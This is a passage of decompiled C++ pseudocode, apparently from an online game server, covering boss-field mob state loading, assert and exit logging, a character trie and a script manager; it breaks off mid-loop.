BossFieldContent::MobAbstateCheckAtDead *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->macad_Type = v6->macad_Type; std::vector>::vector>( &v5->macad_List, &v6->macad_List); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (0054EEE0) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::_ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->sbbt_List.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->sbbt_List.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->sbbt_List.baseclass_0._Myhead); operator delete(v1->sbbt_List.baseclass_0._Myhead); v1->sbbt_List.baseclass_0._Myhead = 0; v1->sbbt_List.baseclass_0._Mysize = 0; } //----- (0054EF10) -------------------------------------------------------- void __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_PushBack(BossFieldContent::MobAbstateCheckAtDead *this, AbnormalStateInfo::ABSTATEINDEX idx, StateDropType dt) { BossFieldContent::MobAbstateCheckAtDead *v3; // esi@1 AbnormalStateInfo::ABSTATEINDEX *v4; // ecx@1 AbnormalStateInfo::ABSTATEINDEX *v5; // eax@1 bool v6; // zf@1 AbnormalStateInfo::ABSTATEINDEX *v7; // ecx@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->macad_List._Mylast; v5 = v3->macad_List._Myfirst; v6 = v5 == v4; if ( v5 != v4 ) { do { if ( *v5 == idx ) break; ++v5; } while ( v5 != v4 ); v6 = v5 == v4; } if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Duplicate abstate", idx); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } v7 = v3->macad_List._Myfirst; if ( v7 && v3->macad_List._Mylast - v7 ) { if ( v3->macad_Type != dt ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack : DropType not same", v3->macad_Type == dt); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } if ( v3->macad_Type ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack : SDT_STA must be one", v3->macad_Type == 0); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } } else { v3->macad_Type = dt; } std::vector>::push_back( &v3->macad_List, &idx); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } //----- (0054F070) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::_MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this) { BossFieldContent::MobAutomaticActionList *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->maal_Set.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->maal_Set.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->maal_Set.baseclass_0._Myhead); operator delete(v1->maal_Set.baseclass_0._Myhead); v1->maal_Set.baseclass_0._Myhead = 0; v1->maal_Set.baseclass_0._Mysize = 0; } //----- (0054F0A0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(BossFieldContent::MobAbstateCheckAtDead *_First, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 BossFieldContent::MobAbstateCheckAtDead *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->macad_Type = _Val->macad_Type; std::vector>::vector>( &v5->macad_List, &_Val->macad_List); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (0054F150) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->sbbt_List.baseclass_0); v1->sbbt_List.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->sbbt_List.baseclass_0._Myhead->_Parent = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Myhead->_Left = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Myhead->_Right = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Mysize = 0; v1->sbbt_NextTick = 0; } //----- (0054F180) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this) { BossFieldContent::MobAutomaticActionList *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->maal_Set.baseclass_0); v1->maal_Set.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->maal_Set.baseclass_0._Myhead->_Parent = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Myhead->_Left = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Myhead->_Right = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Mysize = 0; } //----- (0054F1B0) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__thiscall std::vector>::_Ufill(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Ptr, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0054F1E0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v4; // esi@1 StateDropType v5; // ecx@1 BossFieldContent::MobAbstateCheckAtDead *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 BossFieldContent::MobAbstateCheckAtDead *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 KQContribute::PlayerList *v19; // eax@23 BossFieldContent::MobAbstateCheckAtDead *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 BossFieldContent::MobAbstateCheckAtDead *v22; // ecx@27 BossFieldContent::MobAbstateCheckAtDead *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 StateDropType _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 BossFieldContent::MobAbstateCheckAtDead *_Wherea; // [sp+40h] [bp+8h]@28 BossFieldContent::MobAbstateCheckAtDead *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 BossFieldContent::MobAbstateCheckAtDead *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->macad_Type; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->macad_List); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - v10) < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(BossFieldContent::MobAbstateCheckAtDead **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(BossFieldContent::MobAbstateCheckAtDead **)&v21, (BossFieldContent::MobAbstateCheckAtDead *)(*(_DWORD *)&v21 + 20 * _Count), (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp); } else { std::_Uninit_copy>( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, v20, (BossFieldContent::MobAbstateCheckAtDead *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (BossFieldContent::MobAbstateCheckAtDead *)v24; v31 = 0; std::fill( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, (BossFieldContent::MobAbstateCheckAtDead *)(v24 - 20 * _Count), (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp); } } else { if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>( v16, *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, (BossFieldContent::MobAbstateCheckAtDead *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = (KQContribute::PlayerList *)v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( (std::vector > *)v4, v19, (KQContribute::PlayerList *)v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (BossFieldContent::MobAbstateCheckAtDead *)((char *)v15 + _Vala); v4->_Mylast = (BossFieldContent::MobAbstateCheckAtDead *)((char *)v15 + 20 * v18); v4->_Myfirst = (BossFieldContent::MobAbstateCheckAtDead *)v15; } } if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } //----- (0054F4E0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v4; // edi@1 BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0054F560) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v2; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 BossFieldContent::MobAbstateCheckAtDead *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0054F5F0) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this) { this->lomscad_StructList._Myfirst = 0; this->lomscad_StructList._Mylast = 0; this->lomscad_StructList._Myend = 0; this->lomscad_IndexList._Myfirst = 0; this->lomscad_IndexList._Mylast = 0; this->lomscad_IndexList._Myend = 0; } //----- (0054F630) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::_ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this) { BossFieldContent::ListOfMobStateCheckAtDead *v1; // esi@1 v1 = this; if ( this->lomscad_IndexList._Myfirst ) operator delete(this->lomscad_IndexList._Myfirst); v1->lomscad_IndexList._Myfirst = 0; v1->lomscad_IndexList._Mylast = 0; v1->lomscad_IndexList._Myend = 0; std::vector>::_Tidy((std::vector > *)v1); } //----- (0054F660) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(BossFieldContent::ListOfMobStateCheckAtDead *this) { BossFieldContent::ListOfMobStateCheckAtDead *v1; // ebp@1 int v2; // eax@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // edi@5 unsigned __int16 v6; // si@7 int *v7; // edi@10 int v8; // ecx@10 int v9; // esi@10 BossFieldContent::MobAbstateCheckAtDead *v10; // eax@11 signed int v11; // edx@13 AbnormalStateDictionary::AbState::AbStateStr *v12; // edi@15 void *a; // [sp+10h] [bp-B4h]@5 unsigned int k; // [sp+14h] [bp-B0h]@1 BossFieldContent::MobAbstateCheckAtDead _Val; // [sp+18h] [bp-ACh]@1 FunctionEntarance _; // [sp+2Ch] [bp-98h]@1 char masds; // [sp+30h] [bp-94h]@1 int v18; // [sp+60h] [bp-64h]@1 char flag; // [sp+6Ch] [bp-58h]@1 __int16 v20; // [sp+B0h] [bp-14h]@1 char v21; // [sp+B2h] [bp-12h]@1 unsigned int v22; // [sp+B4h] [bp-10h]@19 int v23; // [sp+C0h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; std::vector>::_Tidy((std::vector > *)v1); _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; LOBYTE(v23) = 1; std::vector>::push_back( &v1->lomscad_StructList, &_Val); LOBYTE(v23) = 0; v2 = MobDataBox::operator int(&mobdatabox); std::vector>::resize(&v1->lomscad_IndexList, v2, 0); CCharacterTitleData::CCharacterTitleData((BinaryData *)&masds); memset(&flag, 0, 0x44u); v20 = 0; v21 = 0; LOBYTE(v23) = 2; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&masds, "../9Data/Shine/MobAbStateDropSetting.shn"); v3 = *(_DWORD *)(v18 + 40); v4 = 0; k = 0; if ( (signed int)v3 > 0 ) { while ( 1 ) { if ( v4 < v3 ) { a = CDataReader::GetRecord((CDataReader *)&masds, v4); v5 = (char *)a; } else { v5 = &flag; a = &flag; } v6 = MobDataBox::mdb_2MobID(&mobdatabox, v5); if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Invalid mob", v5); ShineExit("BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); } v7 = v1->lomscad_IndexList._Myfirst; v8 = v6; v9 = v7[v8]; if ( !v9 ) { v10 = v1->lomscad_StructList._Myfirst; if ( v10 ) { v11 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v1->lomscad_StructList._Mylast - (char *)v10)) >> 32) >> 3; v9 = v11 + ((unsigned int)v11 >> 31); } else { v9 = 0; } v7[v8] = v9; _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; LOBYTE(v23) = 3; std::vector>::push_back( &v1->lomscad_StructList, &_Val); LOBYTE(v23) = 2; _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; } v12 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, (char *)a + 33); if ( v12 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Invalid abstate", (const char *)a + 33); ShineExit("BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); } BossFieldContent::MobAbstateCheckAtDead::macad_PushBack( &v1->lomscad_StructList._Myfirst[v9], v12->index->AbStataIndex, *(StateDropType *)((char *)a + 66)); v3 = *(_DWORD *)(v18 + 40); ++k; if ( (signed int)k >= (signed int)v3 ) break; v4 = k; } } LOBYTE(v23) = 0; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&masds); --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); __security_check_cookie(v22); } //----- (0054F900) -------------------------------------------------------- void __thiscall AssertClass::ac_DateTime(AssertClass *this) { AssertClass *v1; // edi@1 time_t timevar; // [sp+0h] [bp-4h]@1 timevar = (time_t)this; v1 = this; time(&timevar); localtime(&timevar); sprintf(v1->ac_Date, "%04d%02d%02d"); sprintf(v1->ac_Time, "%02d:%02d:%02d"); sprintf(v1->ac_FileName, "Assert%s%02d.txt"); } //----- (0054F980) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, const char *flag) { AssertClass *v3; // esi@1 _iobuf *v4; // eax@2 _iobuf *v5; // edi@2 v3 = this; AssertClass::ac_DateTime(this); if ( v3->ac_Write2File ) { v4 = fopen(v3->ac_FileName, "a"); v5 = v4; if ( v4 ) { fprintf(v4, "%s : AssertClass::ac_AssertFail : %s[%s]\n"); fclose(v5); } } } //----- (0054F9D0) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag) { AssertClass *v3; // esi@1 _iobuf *v4; // eax@2 _iobuf *v5; // edi@2 v3 = this; AssertClass::ac_DateTime(this); if ( v3->ac_Write2File ) { v4 = fopen(v3->ac_FileName, "a"); v5 = v4; if ( v4 ) { fprintf(v4, "%s : AssertClass::ac_AssertFail : %s[%d]\n"); fclose(v5); } } } //----- (0054FA20) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag1, int flag2) { AssertClass *v4; // esi@1 _iobuf *v5; // edi@2 v4 = this; AssertClass::ac_DateTime(this); if ( v4->ac_Write2File ) { v5 = fopen(v4->ac_FileName, "a"); if ( v5 ) { fprintf(v5, "%s : AssertClass::ac_AssertFail : %s[%d/%d]\n"); fclose(v5); } } } //----- (0054FA80) -------------------------------------------------------- void __cdecl ShineExit(char *where) { _iobuf *v1; // esi@1 time_t timevar; // [sp+4h] [bp-188h]@1 char curdate[128]; // [sp+8h] [bp-184h]@1 char filename[128]; // [sp+88h] [bp-104h]@1 char curtime[128]; // [sp+108h] [bp-84h]@1 time(&timevar); localtime(&timevar); sprintf(curdate, "%04d%02d%02d"); sprintf(curtime, "%02d:%02d:%02d"); sprintf(filename, "ExitLog%s%02d.txt"); v1 = fopen(filename, "a"); if ( v1 ) { fprintf(v1, "%s : AssertClass::ac_AssertFail : %s\n"); fclose(v1); } exit(0); } //----- (0054FB50) -------------------------------------------------------- void __thiscall BTree::BTree(BTree *this) { this->bt_id = -1; memset(this->bt_subtree, 0, sizeof(this->bt_subtree)); } //----- (0054FB70) -------------------------------------------------------- void __thiscall BTree::_BTree(BTree *this) { BTree **v1; // edi@1 signed int v2; // ebx@1 void *v3; // esi@2 v1 = this->bt_subtree; v2 = 256; do { v3 = *v1; if ( *v1 ) { BTree::_BTree(*v1); operator delete(v3); } ++v1; --v2; } while ( v2 ); } //----- (0054FBA0) -------------------------------------------------------- int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id) { const char *v3; // esi@1 const char v4; // al@1 BTree *v5; // ebx@1 BTree *v6; // eax@2 void *v7; // eax@3 void *v8; // edx@3 int result; // eax@8 v3 = string; v4 = *string; v5 = this; if ( *string ) { while ( 1 ) { v6 = v5->bt_subtree[(unsigned __int8)v4]; if ( !v6 ) { v7 = operator new(0x404u); v8 = v7; if ( v7 ) { *(_DWORD *)v7 = -1; memset((char *)v7 + 4, 0, 0x400u); } else { v8 = 0; } v5->bt_subtree[(unsigned __int8)*v3] = (BTree *)v8; v6 = v5->bt_subtree[(unsigned __int8)*v3]; if ( !v6 ) break; } ++v3; v5 = v6; v4 = *v3; if ( !*v3 ) goto LABEL_8; } result = 0; } else { LABEL_8: v5->bt_id = id; result = 1; } return result; } //----- (0054FC20) -------------------------------------------------------- unsigned int __thiscall BTree::operator__(BTree *this, const char *string) { const char *v2; // edx@1 const char v3; // al@1 BTree *v4; // eax@2 unsigned int result; // eax@4 v2 = string; v3 = *string; if ( *string ) { while ( 1 ) { v4 = this->bt_subtree[(unsigned __int8)v3]; if ( !v4 ) break; ++v2; this = v4; v3 = *v2; if ( !*v2 ) goto LABEL_4; } result = -1; } else { LABEL_4: result = this->bt_id; } return result; } //----- (0054FC60) -------------------------------------------------------- unsigned int __thiscall BTree::operator__(BTree *this, const char *string) { unsigned int result; // eax@2 BTree *v3; // ecx@3 if ( *string ) { v3 = this->bt_subtree[(unsigned __int8)*string]; if ( v3 ) result = BTree::operator__(v3, string + 1); else result = -1; } else { result = this->bt_id; } return result; } //----- (0054FCA0) -------------------------------------------------------- void __thiscall ShineScript::ss_Load(ShineScript *this, Name4 *world, const char *scriptname) { int v3; // edx@1 OptionReader *v4; // esi@1 int v5; // ecx@1 int v6; // edx@1 int v7; // edi@3 char *v8; // eax@3 ORToken v9; // [sp-18h] [bp-ECh]@5 int v10; // [sp-14h] [bp-E8h]@5 int v11; // [sp-10h] [bp-E4h]@5 int v12; // [sp-Ch] [bp-E0h]@5 int *v13; // [sp-8h] [bp-DCh]@1 char *v14; // [sp-4h] [bp-D8h]@5 ORToken *v15; // [sp+Ch] [bp-C8h]@5 int buf; // [sp+10h] [bp-C4h]@1 int v17; // [sp+14h] [bp-C0h]@1 int v18; // [sp+18h] [bp-BCh]@1 int v19; // [sp+1Ch] [bp-B8h]@1 char v20; // [sp+20h] [bp-B4h]@1 char path[128]; // [sp+50h] [bp-84h]@1 v3 = *(_DWORD *)&world->n4_name[4]; v4 = (OptionReader *)this; buf = *(_DWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v17 = v3; v6 = *(_DWORD *)&world->n4_name[12]; v13 = &buf; v18 = v5; v19 = v6; v20 = 0; sprintf(path, "../9Data/Shine/World/%s/Script/%s.txt"); if ( !OptionReader::or_Read(v4, path) ) { sprintf(path, "../9Data/Shine/Script/%s.txt"); if ( !OptionReader::or_Read(v4, path) ) { AssertClass::ac_AssertFail(&shineassert, "ShineScript::ss_Load : Error in Script read", path); v7 = OptionReader::or_ErrorLine(v4); v8 = OptionReader::or_ErrorString(v4); AssertClass::ac_AssertFail(&shineassert, v8, v7); ShineExit("ShineScript::ss_Load"); } } v14 = "ScrIndex"; v15 = &v9; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)&v9.ort_Name[0] = 0; strncpy(v9.ort_Name, "Script", 0x14u); if ( !OptionReader::or_MakePrimaryKey(v4, v9, v14) ) { AssertClass::ac_AssertFail(&shineassert, "ShineScript::ss_Load : Error in indexing", 0); ShineExit("ShineScript::ss_Load"); } } //----- (0054FDE0) -------------------------------------------------------- void __thiscall KQScriptManager::KQScriptManager(KQScriptManager *this) { KQScriptManager *v1; // esi@1 v1 = this; BTree::BTree(&this->kqsm_BTree); _eh_vector_constructor_iterator_( v1->kqsm_Script, 0x10854u, 64, (void (__thiscall *)(void *))RecallPointTable::RecallPointTable, (void (__thiscall *)(void *))ShineCommonParameter::_ShineCommonParameter); } //----- (0054FE40) -------------------------------------------------------- void __thiscall KQScriptManager::_KQScriptManager(KQScriptManager *this) { BTree *v1; // esi@1 v1 = (BTree *)this; _eh_vector_destructor_iterator_( this->kqsm_Script, 0x10854u, 64, (void (__thiscall *)(void *))ShineCommonParameter::_ShineCommonParameter); BTree::_BTree(v1); } //----- (0054FEA0) -------------------------------------------------------- void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world, char *name) { KQScriptManager *v3; // esi@1 v3 = this; if ( this->kqsm_Number >= 0x40 ) { AssertClass::ac_AssertFail(&shineassert, "Too many KQ Script", 0); ShineExit("KQScriptManager::kqsm_Load"); } ShineScript::ss_Load(&this->kqsm_Script[this->kqsm_Number], world, name); BTree::bt_Insert(&v3->kqsm_BTree, name, v3->kqsm_Number++); } //----- (0054FF20) -------------------------------------------------------- ShineScript *__thiscall KQScriptManager::operator__(KQScriptManager *this, char *name) { KQScriptManager *v2; // esi@1 unsigned int v3; // eax@1 ShineScript *result; // eax@2 int v5; // ecx@3 v2 = this; v3 = BTree::operator__(&this->kqsm_BTree, name); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid script name", name); result = 0; } else { v5 = v2->kqsm_Number; if ( v3 < v5 ) { result = &v2->kqsm_Script[v3]; } else { AssertClass::ac_AssertFail(&shineassert, "Invalid script name(Too many sub", v5); result = 0; } } return result; } //----- (0054FF90) -------------------------------------------------------- void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world) { KQScriptManager *v2; // ebp@1 char v3; // bl@1 int v4; // eax@1 int i; // ebx@4 void *v6; // esi@5 ORToken v7; // [sp-24h] [bp-108A0h]@5 int v8; // [sp-20h] [bp-1089Ch]@5 int v9; // [sp-1Ch] [bp-10898h]@5 int v10; // [sp-18h] [bp-10894h]@5 int v11; // [sp-14h] [bp-10890h]@5 char *v12; // [sp-10h] [bp-1088Ch]@5 int v13; // [sp-Ch] [bp-10888h]@5 int v14; // [sp-8h] [bp-10884h]@5 int *v15; // [sp-4h] [bp-10880h]@5 int type; // [sp+10h] [bp-1086Ch]@5 ORToken *v17; // [sp+14h] [bp-10868h]@5 OptionReader or; // [sp+18h] [bp-10864h]@1 unsigned int cookie; // [sp+1086Ch] [bp-10h]@13 int v20; // [sp+10878h] [bp-4h]@1 v2 = this; OptionReader::OptionReader(&or); v20 = 0; v3 = OptionReader::or_Read(&or, "../9Data/Shine/World/PineScript.txt"); v4 = OptionReader::or_ErrorLine(&or); if ( !v3 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Option read error", v4); ShineExit("KQScriptManager::kqsm_Load"); } for ( i = 0; 